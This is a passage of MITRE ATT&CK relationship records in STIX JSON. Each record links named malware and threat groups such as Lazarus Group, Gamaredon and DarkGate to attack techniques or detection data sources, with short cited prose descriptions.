2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) execution begins from a scheduled task named `Microsoft\\Windows\\Power Efficiency Diagnostics\\AnalyzeAll` and it creates a separate scheduled task called `mstask` to run the wiper only once at 23:55:00.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T14:30:39.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c9b61d8-30ff-4594-9cfb-90f2db44ca0e","type":"relationship","created":"2020-06-02T19:36:48.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-02T19:36:48.212Z","description":"[CARROTBALL](https://attack.mitre.org/software/S0465) has been executed through users being lured into opening malicious e-mail attachments.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c9e8275-a3d5-42cf-9202-5737f98362ee","type":"relationship","created":"2021-04-09T13:34:37.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.323Z","description":"[Doki](https://attack.mitre.org/software/S0600) has executed shell scripts with /bin/sh.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def","created":"2017-05-31T21:33:27.069Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cabf1a6-5ad3-4c5d-83e8-161d49e082ac","type":"relationship","created":"2020-05-19T20:39:12.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint RTF Injection","url":"https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread","description":"Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021."},{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:57:00.461Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used DOCX files to download malicious DOT document templates and has used RTF template injection to download malicious payloads.(Citation: Proofpoint RTF Injection) [Gamaredon Group](https://attack.mitre.org/groups/G0047) can also inject malicious macros or remote templates into documents already present on compromised systems.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.630Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) can gather very specific information about attached USB devices, to include device instance ID and drive geometry.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7cadb166-106c-4664-91fe-2210758698e4","created":"2022-07-29T19:35:54.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:43:21.754Z","description":"Monitor for newly executed processes that may delete or alter generated artifacts associated with persistence on a host system. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7caebc50-4c1b-4ac0-953b-705d9e1026f4","created":"2022-09-06T13:55:43.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T22:05:06.771Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has named component DLLs \"RapportGP.dll\" to match those used by the security company Trusteer.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cafb7b2-5227-4340-b531-7bd134645d30","type":"relationship","created":"2020-05-15T16:50:05.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.780Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to initiate contact with command and control (C2) to exfiltrate stolen data.(Citation: FSecure Lokibot November 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cb37ba3-3a4b-45e5-974c-e337301e71a2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.016Z","description":"[Comnie](https://attack.mitre.org/software/S0244) establishes persistence via a .lnk file in the victim’s startup path.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-20T23:19:46.026Z","description":"The [Duqu](https://attack.mitre.org/software/S0038) command and control protocol's data stream can be encrypted with AES-CBC.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cb81e24-b3b8-4a56-b153-3247193de120","type":"relationship","created":"2020-01-19T16:59:45.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-19T16:59:45.705Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cbc6309-f5fb-41e5-901b-67f02f29a834","type":"relationship","created":"2021-03-15T18:56:36.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."},{"source_name":"Bitdefender Trickbot March 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf","description":"Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.781Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) module shareDll/mshareDll discovers network shares via the WNetOpenEnumA API.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-23T16:41:57.301Z","description":"The \"ZJ\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cc93842-6c19-4d5c-8e9b-81dfa58e859e","type":"relationship","created":"2021-04-05T20:52:47.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lastline DarkHotel Just In Time Decryption Nov 2015","url":"https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/","description":"Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."}],"modified":"2021-04-22T14:35:25.551Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) malware has employed just-in-time decryption of strings to evade sandbox detection.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ccb8be7-7929-4186-8da6-48889be34952","created":"2024-02-12T20:15:19.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-01T22:48:03.571Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses AutoIt scripts dropped to a hidden directory during initial installation phases, such as `test.au3`.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ccb94c2-fc46-464a-bd44-7c61b46cea5b","type":"relationship","created":"2020-09-08T15:30:29.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-09-08T15:30:29.160Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can collect elements related to credit card data from process memory.(Citation: SentinelOne FrameworkPOS September 2019)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ccf3e90-8099-4445-b39f-956d2807189b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"}],"modified":"2022-03-22T17:21:33.393Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can send collected files back over same C2 channel.(Citation: Talos ROKRAT)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cd00d93-860b-4138-98fc-162cb56a78dd","type":"relationship","created":"2020-03-13T11:12:18.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T11:12:18.760Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7cd04afd-b216-468b-a4af-71700c9fbefd","created":"2022-02-01T15:24:07.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.001Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used rundll32 to execute malicious payloads on a compromised host.(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cd8325a-1929-44bd-a1d2-34e5f91d26b7","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for contextual data about an account, which may include a username, user ID, environmental data, etc. that may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.","source_ref":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cdbabca-0408-42c1-a42a-771728401624","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7cde9b70-5de6-4aed-be28-27072987f2e8","created":"2024-04-04T14:37:58.429Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T14:37:58.429Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) command and control includes hard-coded domains in the malware masquerading as legitimate services such as Akamai CDN or Amazon Web Services.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ce75658-c5ea-484d-ab1d-2dca045a244b","type":"relationship","created":"2022-03-21T22:57:40.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:57:40.656Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use DNS for C2 communications.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ce7aa48-afa9-4eb6-8bc2-8f04fd6cf00e","type":"relationship","created":"2022-02-18T16:37:20.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"modified":"2022-02-18T16:37:20.194Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can decrypt encrypted data strings prior to using them.(Citation: Microsoft Actinium February 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7cea5a77-cfb2-4e14-88da-ca936433ada0","created":"2023-02-10T20:07:36.997Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T20:07:36.997Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.(Citation: Mandiant APT41) 